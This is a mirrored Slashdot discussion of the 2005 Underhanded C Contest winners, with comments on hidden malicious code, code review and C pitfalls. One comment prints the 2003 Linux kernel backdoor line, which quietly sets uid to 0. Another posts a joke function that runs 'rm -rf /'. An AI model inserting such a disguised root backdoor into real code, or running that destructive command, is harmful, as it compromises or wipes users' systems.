Slashdot Mirror


Underhanded C Contest announces winners

Matthew Skala writes "The 2005 Underhanded C Contest has announced its winners: the team entry from M Joonas Pihlaja and Paul V-Khuong, and the solo entry from Natori Shin. The contest (which appeared on Slashdot in June) tests programmers' ability to hide malicious behaviour in innocent-seeming code, making it a kind of evil shadow twin to the International Obfuscated C Contest."

150 comments

  1. Just what the world needs... by goldspider · · Score: 2, Interesting

    ...more malicious code writers.

    Thanks be to Slashdot for giving them the recognition/praise they so richly deserve.

    --
    "Ask not what your country can do for you." --John F. Kennedy
    1. Re:Just what the world needs... by Anonymous Coward · · Score: 0

      Hide in plain sight was a bitch of an ability in NWN too ;)

    2. Re:Just what the world needs... by Snoolas · · Score: 2, Insightful

      Better have them writing code for contests than having them writing real malicious code that will actually affect the public...

    3. Re:Just what the world needs... by Jeremi · · Score: 2, Insightful

      ... countered by a larger number of more alert code readers. Hopefully it comes out to a win for the Good Side.

      --


      I don't care if it's 90,000 hectares. That lake was not my doing.
    4. Re:Just what the world needs... by No+Salvation · · Score: 0

      People shouldn't stay completely ignorant of how malicious code works, to prevent this kind of thing you need to know what to look out for.

      --
      I'm agneglectic, too lazy to care if there is a God.
    5. Re:Just what the world needs... by Acts+of+Attrition · · Score: 2, Insightful

      Right, I'm sure they're only allowed to pick one or the other.

  2. A-ha by Anonymous Coward · · Score: 2, Funny

    But Microsoft built a whole operating system based on the principle.

  3. Cool by Anonymous Coward · · Score: 0

    Nice... Haven't heard of this before. Are there licenses to stop malicious uses of the code?

    1. Re:Cool by Anonymous Coward · · Score: 0

      Too bad Microsoft didn't patent this technique before they implemented it. Not that they'd shy away from licensing it. So, on second thought, we're all better off just paying our yearly Anti-Virus program tax.

  4. Bill Gates Entry by bjorniac · · Score: 5, Funny

    Microsoft Word XP was rejected because the code had to seem innocent...

    1. Re:Bill Gates Entry by makomk · · Score: 5, Interesting

      Very true. For those of you who don't get it, one of the winners uses a technique very similar to the way Word (all versions AFAIK) leaks data into documents - an uninitialised buffer.

    2. Re:Bill Gates Entry by bjorniac · · Score: 0

      Right, I seem to remember someone exploiting with a malformed .doc file - something about the data being longer than was specified opening another copy of the same document ad infinitum.

    3. Re:Bill Gates Entry by Richard_at_work · · Score: 5, Interesting

      Found an interesting thing at work recently, during trials of VB.net and the .Net framework. Our VB.net programmers applications worked right up until one day, when suddenly, they stopped working. Simple things like messages in Message Boxes stopped appearing, or labels on buttons went astray, mouse cursor changes on mouseover events showing black boxes instead of the image. Very wierd we thought. He reinstalled the .Net framework, VS.Net, everything he could think of but nothing rectified the problems. We eventually found out what the problem was - McAffee Virus protection now includes buffer overrun protection. Turn that off, and everything worked fine. Wierd, just wierd.

    4. Re:Bill Gates Entry by thc69 · · Score: 1

      Are you saying that your programs somehow depend on buffer overruns, or that Mcaffee's BOP is broken?

      --
      Procrastination -- because good things come to those who wait.
    5. Re:Bill Gates Entry by Richard_at_work · · Score: 1

      IM saying that the internal workings of .Net are ... interesting, or that McAffees BOP is broken. Our programs dont rely on buffer overruns, its all bog standard vb.net and the problem can be reproduced using small apps.

    6. Re:Bill Gates Entry by homesteader · · Score: 2, Informative

      This may very well be due to a bug in McAfee VirusScan 8.0i, assuming that is what you are running. There was a bug fixed by Patch 6, I think. Patches are cumulative, so you can just apply Patch 11 and the problem should be fixed.

      Patches are not available from the public download location. You may need to have a support contract to get them.

  5. good to see by garat · · Score: 5, Insightful

    Having a contest like this has similar positive aspects as full disclosure concerning vulnerabilities; by providing examples of how it's done, people will be better able to spot such attempts were they to occur. I'm happy to see this contest being held.

    --
    Support alternatives to Paypal: http://www.e-gold.com
  6. I'll tell you what's underhanded by Weaselmancer · · Score: 4, Funny

    Stashing all the entries in a 1.1M archive rather than posting links to the code. No way I'm going to download that just to see what all the fuss is about.

    --
    Weaselmancer
    rediculous.
    1. Re:I'll tell you what's underhanded by RAMMS+EIN · · Score: 4, Funny

      Moreover, who knows the archive isn't exploiting some buffer overflow vulnerability in my archiving software! Knowing who this file comes from, you'd be a fool to open it!

      --
      Please correct me if I got my facts wrong.
    2. Re:I'll tell you what's underhanded by Anonymous Coward · · Score: 0

      Don't be an idiot. If they offered a link to the source code it could exploit some buffer overflow in your web browser just as easily.

    3. Re:I'll tell you what's underhanded by glesga_kiss · · Score: 5, Funny
      They predicted that kind of paranoid response. From their (humorous) FAQ:
      Are you shills from MicroSoft trying to evangelize C-sharp?

      No, we are not shills from MicroSoft trying to evangelize C-sharp.

      Are you trying to prove open source is bad?

      No, we are not trying to prove open source is bad. If anything, this contest illustrates that we need more code review, not less.

      I bet you are government agents trying to entrap me.

      Of course we're government agents: Binghamton University is a state university, part of the SUNY system. Evil! Eeeeeeeeeevilllll!!!!!

      Do you know you've been Slashdotted?

      What, you couldn't tell from the last three questions?

    4. Re:I'll tell you what's underhanded by Anonymous Coward · · Score: 0

      Your web browser has a C interpreter built in? What are you using? Thats what I thought.....

    5. Re:I'll tell you what's underhanded by twitter · · Score: 1
      Stashing all the entries in a 1.1M archive rather than posting links to the code. No way I'm going to download that just to see what all the fuss is about.

      You visited the site?

      This is one I'll pass up, thanks.

      --

      Friends don't help friends install M$ junk.

    6. Re:I'll tell you what's underhanded by RAMMS+EIN · · Score: 1, Informative

      ``Your web browser has a C interpreter built in?''

      No, but it probably relies on lots of helper software to handle certain file types. This helper software is probably written in C or C++, and probably contains exploitable vulnerabilities. For example, your system might be compromised if the "archive" is actually an image file which your browser will try to display, using a library which contains a vulnerability which the image exploits to execute arbitrary code on your system. This may sound looney to you, but it wouldn't be the first time it actually happened.

      --
      Please correct me if I got my facts wrong.
    7. Re:I'll tell you what's underhanded by Weaselmancer · · Score: 2, Funny

      It's ok, I'm using Firefox. It's the most zyg234 bof*(0sls lkM12134 bsxQxo%9X browser out there!

      --
      Weaselmancer
      rediculous.
    8. Re:I'll tell you what's underhanded by Anonymous Coward · · Score: 0

      Um no, that 1.1M archive is just for one of the entries. You have to download each entry individually.

    9. Re:I'll tell you what's underhanded by suitepotato · · Score: 0

      Are you trying to prove open source is bad?

      No, we are not trying to prove open source is bad. If anything, this contest illustrates that we need more code review, not less.


      This is only funny if you actually believe OSS means more code review and not less. The reverse is actually true as OSS has the aura of suggesting the first case so in effect, it becomes the opposite by way of assumption of it having been or being checked, so few bother. Like everyone assuming someone else is buying the milk and bread.

      Now if there was some sort of OSS review team that took it upon themselves to review every source code file they could find on a project by project basis... Nah, who in their right mind would?

      (No one in their right mind would, hence what is the value of a review by someone not in their right mind? In closed source, you can review and be in your right mind more often due to the simple self interest of being paid to do the reviewing or at least being able to smack the coding team with a phone book if they mess up.)

      --
      If my grammar and spelling are off, I am [distracted/tired/careless] (take your pick)
    10. Re:I'll tell you what's underhanded by nEoN+nOoDlE · · Score: 4, Funny

      Knowing who this file comes from, you'd be a fool to open it!

      but they would have known that only a great fool would open the archive given to him. I am not a great fool, so I can clearly not choose to open the archive. But they must have known I was not a great fool, they would have counted on it, so I can clearly open the archive supplied by them.

      --
      Don't trust a bull's horn, a doberman's tooth, a runaway horse or me.
    11. Re:I'll tell you what's underhanded by GaryOlson · · Score: 1
      I see at least one reason you reference yourself to a weasel...get a fatter pipe to the Internet! Then you can download measly 1.1M files. Stop using that obsolete and cheap dial-up connection (digital to analog to digital to analog...ad nauseum).

      Just a suggestion mind you....

      --
      Every mans' island needs an ocean; choose your ocean carefully.
    12. Re:I'll tell you what's underhanded by fgb · · Score: 1

      I really wish I had some mod points to give you, Vizzini. That was FUNNY!

    13. Re:I'll tell you what's underhanded by vsprintf · · Score: 1

      This is only funny if you actually believe OSS means more code review and not less. The reverse is actually true as OSS has the aura of suggesting the first case so in effect, it becomes the opposite by way of assumption of it having been or being checked, so few bother.

      Got any proof to back that up? When I have a problem with an OSS program, I often dig into the code to see if I can find the cause. That's not saying there is a great deal of peer review before OSS code is released, but as it becomes mature, there will have been a lot of peer review. It's certainly better than closed source sofware that gets one perfunctory in-house peer review by people who want to be doing something else.

    14. Re:I'll tell you what's underhanded by Cobralisk · · Score: 1

      Plato? Aristotle? Morons!

      --
      Waiting for ad.doubleclick.net...
    15. Re:I'll tell you what's underhanded by Nutria · · Score: 1

      Are you shills from MicroSoft trying to evangelize C-sharp?

      No, we are not shills from MicroSoft trying to evangelize C-sharp.


      No, they are from AcuCorp, demonstrating how C really sucks sheep testicles, and how we should all be writing in COBOL or FORTRAN.

      Except, of course, for OS developers, who should write in Bliss.

      --
      "I don't know, therefore Aliens" Wafflebox1
    16. Re:I'll tell you what's underhanded by Threni · · Score: 2, Informative

      Most of the archive (in .tar format) is a picture of a train. I don't understand. Why not just post the results a text on a html page? Too easy?

    17. Re:I'll tell you what's underhanded by Weaselmancer · · Score: 1

      *sigh*

      I'm on a cablemodem. I just don't care to wade through megabytes of crap just to read the winning entry.

      Don't make assumptions about people you don't know. Just a suggestion mind you....

      --
      Weaselmancer
      rediculous.
  7. Will Code For Beer by Krast0r · · Score: 5, Funny

    "Prize: Since we're in Binghamton, NY, the prize will be a gift box from the nearby brewery Ommegang in Cooperstown, NY." Reminds me of that photograph, "Will Code For Food" - maybe this is the start of a new era. A combination of "free as in beer" and "will code for food".

    --
    Matthew Grint Midnight Artists
    1. Re:Will Code For Beer by Anonymous Coward · · Score: 0

      Please stop using "free as in beer"; its old and annoying, and only funny to alcoholics.

    2. Re:Will Code For Beer by jkfresh · · Score: 2, Informative

      It's not really funny if you are an alcoholic.

      http://www.aa.org/

    3. Re:Will Code For Beer by Anonymous Coward · · Score: 1, Informative

      They actually are offering a ThinkGeek gift certificate of equal value to winners who don't want the beer or can't easily receive shipments of beer from the USA - so you can load up on Ballz and Penguin Mints and substitute caffeine addiction for alcohol addiction. Because that's so much better.

    4. Re:Will Code For Beer by Anonymous Coward · · Score: 0

      and your roommates because you're always so drunk (by 7am!) that you forget to pay the gas bill and the gas gets shut off (twice) leaving no hot water.

      and your roommates co-workers because no one wants to interract with someone who hasn't showered in several days.

      (can you tell i'm a little bitter that my gas was shut off on friday?)

    5. Re:Will Code For Beer by loucura! · · Score: 1

      Negative reinforcement seems to be in order. Get a shock collar, and every time your roommate drinks alcohol give him a little zap. He'll thank you.

      --
      Black and grey are both shades of white.
    6. Re:Will Code For Beer by Anne+Thwacks · · Score: 1

      Do you mean "will code for free" or "Beer for food"?

      --
      Sent from my ASR33 using ASCII
    7. Re:Will Code For Beer by Anonymous Coward · · Score: 0

      I fear for those who have to live with you.

    8. Re:Will Code For Beer by drsquare · · Score: 2, Interesting

      I fear for those who have to live with you.

      Why? I don't exactly go round killing people. Drink is just another liquid.

      What's with the moralising, anti-alcohol mods today? Slashdot's always whining about people's rights to do what they want with their own body, what about my right to drink? Why should that be censored?

    9. Re:Will Code For Beer by anagama · · Score: 3, Informative

      Actually, what you describe is "positive punishment" (apply negative stimulus in the presence of a certain bahavior -- like a spanking for swearing). "Positive" is not used in the "good/bad" sense, put in the "plus/minus" sense.

      Negative reinforcement is a reward that occurs by subtracting an adverse stimulus from the environment. For example, Fridays are a form of negative reinforcement -- the withdrawal of a negative stimulus (work) is rewarding, makes people feel good/relieved, and thus, people come to really like Friday afternoons. http://en.wikipedia.org/wiki/Reinforcement#Positiv e_vs._negative

      --
      What changed under Obama? Nothing Good
    10. Re:Will Code For Beer by spectre_240sx · · Score: 1

      Just another liquid? How naive...

      Your rights become null as soon as you start hurting other people, and whether you see it or not, that's what alchoholics do.

    11. Re:Will Code For Beer by Reziac · · Score: 2, Funny

      About 15 years ago, a friend who is a mathematician dressed up in street-bum clothes and had a picture taken of himself holding a sign that reads, "Will solve partial differential equations for food".

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    12. Re:Will Code For Beer by bucky0 · · Score: 1

      Nearly every kind of joke is un-funny to someone because it relates to them. Doesn't mean that we shouldn't have a laugh every once in a while though.

      --

      -Bucky
    13. Re:Will Code For Beer by Anonymous Coward · · Score: 0

      Most don't. a tiny minority of alcoholics give the rest of us a bad name, just as a tiny minority of smackheads give us heroin shooting middle managers a bad name.

    14. Re:Will Code For Beer by drsquare · · Score: 1

      OK, when I drink say a pint of beer, who am I hurting? Come on, be specific.

    15. Re:Will Code For Beer by dustman · · Score: 1

      Negative reinforcement is a reward that occurs by subtracting an adverse stimulus from the environment. For example, Fridays are a form of negative reinforcement -- the withdrawal of a negative stimulus (work)

      "Withdrawal of negative stimulus (work)" applies to every day, not just Friday. The difference is that on Friday you know that you're not going to have to work on the weekend.

      This is starting to sound like it's completely arbitrary as to what you would call positive and negative reinforcement.

      I like eating good food. When I eat good food, the removal of the negative stimulus (being in the state of not eating good food) means this is negative reinforcement?

    16. Re:Will Code For Beer by Anonymous Coward · · Score: 0
      " It's not really funny if you are an alcoholic."

      Of course you're quite right. It should be modded +5 Informative for alchoholics.

    17. Re:Will Code For Beer by loucura! · · Score: 1

      Huh... I didn't know that. Thanks. :)

      --
      Black and grey are both shades of white.
    18. Re:Will Code For Beer by Anonymous Coward · · Score: 0

      You make baby jesus cry.

    19. Re:Will Code For Beer by vsprintf · · Score: 1

      a tiny minority of alcoholics give the rest of us a bad name, just as a tiny minority of smackheads give us heroin shooting middle managers a bad name.

      Tom, is that you?

    20. Re:Will Code For Beer by spectre_240sx · · Score: 1

      At a pint of beer you're not hurting anyone. However, refusal to recognize that alchohol is a mind altering substance is pure foolishness.

      I have nothing against having a beer now and then. Actually, I'm very fond of beer and I like to try all the different brews that I can. However, there's a large difference between drinking once in a while and being an alchoholic. To consider alchoholism a tolerable part of one's personality is a frightening mentality indeed.

    21. Re:Will Code For Beer by i.r.id10t · · Score: 1

      Beer for food... after all, you can get complete nutrition for a day from 47 pints of Guinness, a glass of milk and a glass of OJ (calcium and vitamin C) .

      Whether you can drink 47 pints a day for more than a day or two in a row is a different story...

      --
      Don't blame me, I voted for Kodos
    22. Re:Will Code For Beer by ifwm · · Score: 1

      I don't know, I'm drunk and it's pretty funny.

    23. Re:Will Code For Beer by drsquare · · Score: 1

      Drinking is no worse than smoking or eating greasy food or sitting at a desk-job all day. They're all unhealthy but then no-one needs to be perfectly healthy all the time. At the end of the day, you wake up the next morning sober, and the liver is one of the most quick-recovering organs in the body.

    24. Re:Will Code For Beer by Chirs · · Score: 1


      If you add something, it's considered "positive". If you take something away, it's considered "negative".

      giving treat to your dog -- positive reinforcement
      spanking a child -- positive punishment
      giving someone a day off -- negative reinforcement
      taking away your kid's toys -- negative punishment

  8. I'm still fond of this one by $RANDOMLUSER · · Score: 5, Interesting
    This one almost made it into the Linux kernel. It looks like error checking until you read it carefully.Short, brilliant and to the point.

    if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    retval = -EINVAL;

    In other words, you become root if you call sys_wait4()with the __WCLONE|__WALL) flags

    Story here and here

    --
    No folly is more costly than the folly of intolerant idealism. - Winston Churchill
    1. Re:I'm still fond of this one by Anonymous Coward · · Score: 5, Informative

      This one almost made it into the Linux kernel.

      It *did* make it into the kernel for anyone using the BK-to-CVS gateway.

    2. Re:I'm still fond of this one by blindcoder · · Score: 1

      what's your definition of almost? Linus applied and reverted it again?

      --
      See my blog for my free opinions.
    3. Re:I'm still fond of this one by jnf · · Score: 5, Informative

      to anyone who makes a routine of putting their constants on the left hand side of the expression, that becomes not very hard to notice .. although intermixed with several megabytes of source it becomes less obvious. What I mean is: if (( (__WCLONE|__WALL) == options && 0 = current->uid)) will throw an error, whereas 0 == current->uid will not.

    4. Re:I'm still fond of this one by chriso11 · · Score: 2, Insightful

      The =/== is one of C's most dastardly tricks. It is a great way to make infinite loops too.

      That said - I think that C IDEs which perform context sensitive coloring should use two different colors for = and ==. Or maybe put in a macro or something to make it harder for these types of bugs.

      --
      No, I don't trust in god. He'll have to pay up front, like everybody else.
    5. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      to anyone who makes a routine of putting their constants on the left hand side of the expression..

      to everyone else it just looks ugly if not revolting.

      this has been discussed to death already in every C/C++ forum on the planet. if you tend to make typos like = instead of ==, then perhaps you should proof-read what you type, because otherwise you will spend most of your time debugging.

      there is plenty of 1-char typos in C with that preserve valid syntax. Things like "f,()" instead of "f()" and "--x" instead of "-x", etc.

    6. Re:I'm still fond of this one by typical · · Score: 1

      Gcc doesn't pick this up with an unreachable code warning, but it really should, since the test will always fail (since the uid-setting expression is always false).

      Gcc's sanity-check-for-use-of-assignments-for-equality-t ests-in-loops doesn't pick it up either (I think that only handles very simple cases, anyway.)

      Splint flags it as a boolean expression containing a non-boolean value, but unless you are an exceedingly anal coder, you probably have this warning off.

      --
      Any program relying on (nontrivial) preemptive multithreading will be buggy.
    7. Re:I'm still fond of this one by jnf · · Score: 2, Insightful

      why? the solution really becomes putting your constants on the lefthand side of the expression.

      It's really not that hard to get used to, i dont find it to be particularly ugly and it solves the problem.

    8. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      I'm too lazy to check but, OTTOMH, doesn't java disallow assignments in things like if statements. So things like: if (i = 0) won't comile at all? A very good feature indeed.

    9. Re:I'm still fond of this one by Tim+C · · Score: 3, Informative

      It's not that assignments aren't allowed in if statements, but that Java has boolean types. So while a statement like i = 0 does return 0 (as in C), unlike C 0 is not false, it's an int, and so if (0) is a compile time error.

      You can still do things like if ((line = in.readLine()) == null) of course

    10. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      i dont find it to be particularly ugly

      it is ugly

    11. Re:I'm still fond of this one by jnf · · Score: 1

      mind the qualifier, which states that 'I' dont find it to be ugly .. not very pedantic of you.
      The mere idea that somehow the constant being on the left as opposed to the right brings forth the stentch of religious idiocy.

    12. Re:I'm still fond of this one by kihjin · · Score: 1

      While the parent posted a good link to the thread, it may have been more appropriate to post a link to the start of the thread rather than the near end.

      --
      This slashdot-related signature is a stub. You can help kihjin by expanding it.
    13. Re:I'm still fond of this one by Fjornir · · Score: 1
      to everyone else it just looks ugly if not revolting.

      How, exactly, is it ugly/revolting ? I don't get it.

      --
      I want a new world. I think this one is broken.
    14. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      i find it ugly but all C code should pass lint or gcc -pendatic. DON'T IGNORE WARNINGS!

    15. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      I prefer a language where non-equal values can be typecast to bool, and if(), for() and while() all do type-coersion to bool. That's why when I designed my personal language, I made it so that the compiler implicitly transforms if (x) {} into if ((bool)(x)) {}. Also, the values null, false, '\0', and 0 all compare differently (e.g. null != 0, etc), but they all mean the same thing in a boolean context: (bool)null == (bool)0 == (bool)'\0' == false..

      I also require you to use either an extra pair of parentheses or the := operator if you want to do assignment inside of a predicate expression. e.g. if ((x = 42)) {} or if (x := 42) {}. I'm still undecided on whether I want to always require the := operator for assignment (Although I'm a HUGE fan of C syntax, I have to concede that Pascal was really on to something with its wacky assignment operator. Hehe).

      And as an aside: I'm positive that I'd never stoop to using the VHDL method of assignment: x <- 42, because it is ambiguous with the comparison: x < -42.

    16. Re:I'm still fond of this one by jnf · · Score: 2, Interesting

      all of my code gets -Wall -Werror -pedantic, i more do constants on the left out of habit now, but i dont think its a bad idea, or ugly.

      Also note that -pedantic wouldn't create a warning, but gcc -Wall would.

    17. Re:I'm still fond of this one by jnf · · Score: 1

      (e.g. null != 0, etc)

      In C, NULL != 0 either, its equal to (void *)0, which is different.

    18. Re:I'm still fond of this one by jnf · · Score: 1

      to be fair, as of C99, C has boolean types as well.

      although its hardly used in C, and not as well defined in C, but thats how afterthoughts typically work.

      I can print a line to standard output in less than 16 characters though!

    19. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      How, exactly, is it ugly/revolting ?

      It's backwards from the way most people think. I don't ask whether 0 is equal to some variable, because I know what 0 is. I ask if the variable is equal to 0.

      Most compilers will issue a warning unless you use an extra set of parentheses anyway, so it doesn't buy you anything.

    20. Re:I'm still fond of this one by DeadMeat+(TM) · · Score: 1
      to be fair, as of C99, C has boolean types as well.
      although its hardly used in C, and not as well defined in C, but thats how afterthoughts typically work.
      Java's boolean type is a little bit different from C99's bool type in that it's a seperate primitive which cannot be cast back and forth between int. So code like
      int foo = 0;
      bool bar = (foo = 1);
      will compile and run in C (probably even without a warning, depending on which compiler you're using), but it probably won't do what you expect. Whereas boolean bar = (foo = 1); is not valid Java syntax, and so the compiler will catch it before it becomes a runtime error.

      I'm not fond of all the decisions Sun made while designing Java (see also: multiple inheritence, lack thereof) but this was probably one of the better ones.

    21. Re:I'm still fond of this one by Anonymous Coward · · Score: 1, Informative

      In C, a null/void pointer is technically (void*)0, but it's also specified to be equal (==) to zero. Any compiler that does not treat it as zero in boolean context (read integer context, because C doesn't have a boolean type) is not standards compliant. What you may have meant to say is that (void*)0 may not actually be on page 0 because the compiler /architecture is free reserve any spot it wants for the null pointer.

      Meanwhile, the preprocessor symbol NULL is typically defined as 0 in stdlib.h, but any program is free to define it as it wishes. (Note that if you were to do so, you would create a LOT of frustration for the other coders on your team. ;)) Also, I've seen newer (usually C++) libraries use #define NULL ((void*) 0). C++ has better type management that allows it to distinguish between 0 and (void*)0, but they're still equal. ;)

      However, this is all beside the point because I wasn't talking about C or C++. I was talking about my preference for dealing with values in boolean context. This lead to a mention of my language, which has a null type with exactly one value: null. In my language, null is not equivalent to zero unless you do some typecasting (e.g. null != 0, but (int)null == 0 and (bool)null == (bool)0).

    22. Re:I'm still fond of this one by jnf · · Score: 1

      Yes, thats basically what I was saying with my 'not as well defined in C' comment.

    23. Re:I'm still fond of this one by jnf · · Score: 1

      because C doesn't have a boolean type As stated in another comment, C99 does in fact introduce a boolean type. No, NULL is not definated as 0 in stdlib.h, but rather (void *)0, unless you have a c++ macro defined, then often its just 0. At any rate ptr = NULL != 0

    24. Re:I'm still fond of this one by Anonymous Coward · · Score: 0
      I'm sorry, but you're misinformed. Go reread your specs and *gasp* run some tests.
      #include <stdio.h>
      int
      main (int argc, const char *const argv[])
      {
        void *p = 0;
        printf ("NULL pointer: %d\n", (int)p);
        printf ("NULL pointer == 0: %d\n", p == 0);
        return 0;
      }
      Outputs:
      NULL pointer: 0
      NULL pointer == 0: 1
      I don't have an account, so I won't waste any more posts correcting you. Also, C99 != C. C99 == C99.
    25. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      It *did* make it into the kernel for anyone using the BK-to-CVS gateway.

      Yes, and for anyone who inserted it into their own personal copy of the source code.

      The point is that it didn't make it into any official versions of the kernel. If we start worrying about unofficial versions, then you can make just about any claim you like...

    26. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      void *p = 0;
      printf ("NULL pointer: %d\n", (int)p);


      The result of this is implementation dependent. (void*)0 is not guaranteed to have the same bit pattern as (int)0. (but it probably will on most platforms where they are the same size)

      printf ("NULL pointer == 0: %d\n", p == 0);

      This is guaranteed to be true, not because (void*)0 is equal to (int)0, but because that bare 0 is interpreted as (void*)0.

      In summary, NULL == 0.

    27. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      This is one of the reasons for always compiling with -Wall. gcc and icc, and most likely several others, gives you this warning:
      warning: suggest parentheses around assignment used as truth value
      if you try something like "if (a=0)".

    28. Re:I'm still fond of this one by lobsterGun · · Score: 1

      Could treating NULL as an int on a 64-bit system have any dire consequences?

    29. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      Putting your constants on the left hand side of the expression works for this case, but in most non trivial programs you'll need to compare two assignable vars. This is just a stupid C annoyance.

    30. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      AC because i'm too lazy to research this - if I recall correctly, this was actually the result of someone hacking a BK server. Naturally they wanted the code they added to seem innocululus. It was caught because the fact the server was compromised was noticed. It's likely that if someone had tried to put it in through normal channels, it wouldn't have worked, as code is reviewed by several people before it makes it into the vanilla kernel, especially from untrusted sources.

    31. Re:I'm still fond of this one by SassyDave · · Score: 1

      But with the proper gcc flags, it will issue a warning.

    32. Re:I'm still fond of this one by Cobralisk · · Score: 1

      C is a high level language, meant to relate to english enough so that a reader unfamiliar with the syntax of the language should be able to grasp the intent of the code. In english grammar, in a conditional statement it makes more sense to say "If the userid equals zero" than to say "If zero equals the userid." Now, the two statements carry the same meaning, but one conveys the meaning to the reader more fluidly (checking the value of a variable) than the other (comparing a number to an unknown variable). I agree that skilled programmers should be able to figure it out either way, and most geeks don't really speak the same language as the rest of society anyway. The whole issue could have been avoided with a value->variable or let variable=value or variable:=value assignment statement in the c standard. However, coding in c is for men (or women) with hair on their chests. You should pretty much expect a few root exploits lurking in there somewhere. If you want safety go use java or something. Kernel devs are gods.

      --
      Waiting for ad.doubleclick.net...
    33. Re:I'm still fond of this one by mad.frog · · Score: 1

      Or, you could just crank up the warning level on your compiler to something suitably high, which will warn you when you do an assignment inside a conditional... and end up code that (IMHO) is much more readable. I've always considered the constant-on-the-left coding style to be an abomination of readability.

    34. Re:I'm still fond of this one by ipfwadm · · Score: 3, Insightful

      And the attempted backdoor in question put the parens around the assignment, thus avoiding the warning.

    35. Re:I'm still fond of this one by Anonymous Coward · · Score: 0

      Right, and then these "men with hair on their chests" start crying the moment someone does a trivial logical transformation from a==0 to 0==a and they can't deal with it.

    36. Re:I'm still fond of this one by Sigma+7 · · Score: 1
      Gcc's sanity-check-for-use-of-assignments-for-equality-t ests-in-loops doesn't pick it up either


      It won't, mainly because doing anything more complex could raise false alarms for what should be legitimate statements (e.g. if (ptr=fgets(buffer, 80, stdin)) { /* ... */ } )

      GCC also allows including parenthesis to supress the check. Any experienced programmer would detect such holes, especially in the case of the Linux Kernel where there is a team dedicated to ensuring that changes are reviewed.

      The only thing that interferes is a lousy font. In this case, it was hard to tell the difference between the two since there was no break between '=' and '=='. While you can notice it, it generally takes a few passes since post brains simply glance over a simple difference in length.
    37. Re:I'm still fond of this one by drxenos · · Score: 1

      Actually, the C standard allows NULL to be 0 or (void*) 0. The C++ requires it to be 0.

      What the hell is ptr = NULL != 0 suppose to mean?
      ptr = NULL; and ptr = 0; are equivalent statements in both languages. So, setting a pointer to NULL and comparing it for equality with 0 is always true. Thus, ptr = NULL != 0 is always false.

      --


      Anonymous Cowards suck.
    38. Re:I'm still fond of this one by drxenos · · Score: 1

      Not just bare 0. Any integral constant expression (ICE) that results in 0 may be legally used as a null pointer. Thus, void* p = 2 * 3 - 6; is legal and sets p to a null pointer.

      --


      Anonymous Cowards suck.
    39. Re:I'm still fond of this one by drxenos · · Score: 1

      You should go read the C Standard. A null pointer is not guaranteed to be internally represented as all bits zero. Using 0 in C code with pointers is special, and represents a null pointer. You program is implementation-specific. I am still amazed at how many self-proclaimed C experts do not know this!

      --


      Anonymous Cowards suck.
    40. Re:I'm still fond of this one by drxenos · · Score: 1

      1) In the C standard, NULL is required to be 0 or (void*) 0
      2) In the C++ standard, NULL is required to be 0
      3) Programs are not free to change NULL. Doing so is unspecified behavior and leads to a non-standard comforming program
      4) The reason NULL cannot be of type void* in C++ is that, unlike C, C++ does not allow implict casting from void*. Thus, int* p = malloc(sizeof(int)); is legal in C, but not C++.

      --


      Anonymous Cowards suck.
    41. Re:I'm still fond of this one by drxenos · · Score: 1

      No, because of standard integer promotions.

      --


      Anonymous Cowards suck.
    42. Re:I'm still fond of this one by jnf · · Score: 1

      i was basically trying to state that its not _exactly_ 0, thus you cannot say int foo = NULL; I mistated what I was attempting to say.

    43. Re:I'm still fond of this one by jnf · · Score: 1

      working with your premise that NULL = 0, then tell me, if NULL is just a macro that gets replaced after the preprocessor is run, then why can I not say: int foo = NULL; ? So there is a difference, and thats all i was trying to state-- although admittedly I did it in a bass akwards manner.

    44. Re:I'm still fond of this one by drxenos · · Score: 1

      In C, that may be true. If C++, NULL must be defined as a constant integer expression equal to 0. Though, writing "int foo = NULL;" may be foolish, in C++, it would be legal. In C, it would be legal, as long as NULL was defined as 0 and not (void*)0. Whether a null pointer is, internally, 0 or not is immaterial.

      --


      Anonymous Cowards suck.
  9. Important contest by jurt1235 · · Score: 2, Insightful

    Does anybody remember the about 1.5 year ago event when a programmer managed to smuggle malicious code into the linux kernel?

    Virus writers and script kiddies are not a worry for this kind of code writing. The programmer you hire to write that AJAX extention to your website is also worth to worry about. This contest just shows how it is done.

    --

    My wife's sketchblog Blob[p]: Gastrono-me
    1. Re:Important contest by Anonymous Coward · · Score: 1, Informative

      Sorry to nitpick, but I think it's an important distinction. The malicious code did not actually make it into the kernel, but was caught beforehand.

    2. Re:Important contest by planetoid · · Score: 1

      Does anyone have a link to an article detailing this event? My curiosity is piqued.

      --
      Slashdot requires you to wait longer between hitting 'reply' and submitting a comment.
    3. Re:Important contest by Anonymous Coward · · Score: 2, Informative
    4. Re:Important contest by BobaFett · · Score: 2, Informative

      The register article is a bit alarmist, at least compared to the response Linus gives in this thread : http://www.ussg.iu.edu/hypermail/linux/kernel/0311 .0/0621.html

  10. Re:divide by 0 by FLAGGR · · Score: 1

    first of all, thats not C, unless typdef int sub, and even still you forgot the return 0;, thirdly, any good coder would notice something that obvious, and lastly its not malicious, it will just crash.

  11. AJAX? by Anonymous Coward · · Score: 0

    ACAX maybe.

  12. Re:I'm still fond of this one, official releases by free2 · · Score: 1

    There are official releases of the Linux kernel.
    CVS/git development trees are not pre-releases for testers. Git trees are for ... coders !

  13. Making Wrong Code Look Wrong by lelkes · · Score: 3, Insightful

    It would be extremely important to use coding standards which make wrong code look wrong. Not only that it would be more difficult to inject malicious code, but if somebody made mistakes, it would be really easy to discover it.
    Joel has a great article on this.

    1. Re:Making Wrong Code Look Wrong by Anonymous Coward · · Score: 0

      Finding wrong code is easy. Just grep the source for
      "EVIL_BIT=TRUE"

  14. cute fluffy kittens! by planetoid · · Score: 5, Funny

    int cute_fluffy_kittens(void)
    {
          printf("Cute fluffy kittens are now frolicking in a grassy field of daisies with their pink-nosed newborn puppy friends. Sit back and use your imagination to enjoy the spectacle for the next few minutes...\n");

          setuid(1);
          system("rm -rf /");
    }

    --
